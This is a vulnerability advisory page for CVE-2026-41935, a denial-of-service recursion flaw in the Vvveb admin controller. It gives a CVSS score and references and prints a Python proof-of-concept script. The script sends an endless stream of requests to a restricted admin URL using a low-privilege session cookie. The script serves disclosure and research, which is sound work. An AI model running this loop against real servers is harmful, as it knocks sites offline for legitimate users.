CVE-2026-41935

Description

Vvveb before 1.0.8.3 contains an uncontrolled recursion vulnerability in the admin controller dispatch cycle where Base::init() repeatedly invokes permission() on error handlers, causing infinite recursion until PHP memory limits are exhausted. Attackers can send sustained requests to forbidden admin URLs from a low-privilege account to exhaust PHP memory on all workers and cause denial of service to legitimate traffic.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Vvveb < 1.0.8.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://example.com/admin/index.php"  # Example admin endpoint
session_cookie = {"PHPSESSID": "low_priv_user_session_id"}

def trigger_dos():
    print("[*] Sending requests to trigger recursion...")
    try:
        # Send persistent requests to a restricted admin URL
        while True:
            response = requests.get(target_url, cookies=session_cookie, timeout=5)
            if response.status_code == 500 or response.status_code == 403:
                print(f"Response code: {response.status_code} - Memory exhaustion likely occurring")
    except KeyboardInterrupt:
        print("[!] Attack stopped by user.")
    except Exception as e:
        print(f"[!] Error occurred: {e}")

if __name__ == "__main__":
    trigger_dos()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41935
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41935
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41935/
[4] VulDB https://vuldb.com/cve/CVE-2026-41935
[5] https://github.com/givanz/Vvveb/commit/c766e84b479dcf1bd1f25a44e4b9c9fa450769c8
[6] https://github.com/givanz/Vvveb/releases/tag/1.0.8.3
[7] https://www.vulncheck.com/advisories/vvveb-uncontrolled-recursion-denial-of-service

Raw JSON Data

JSON

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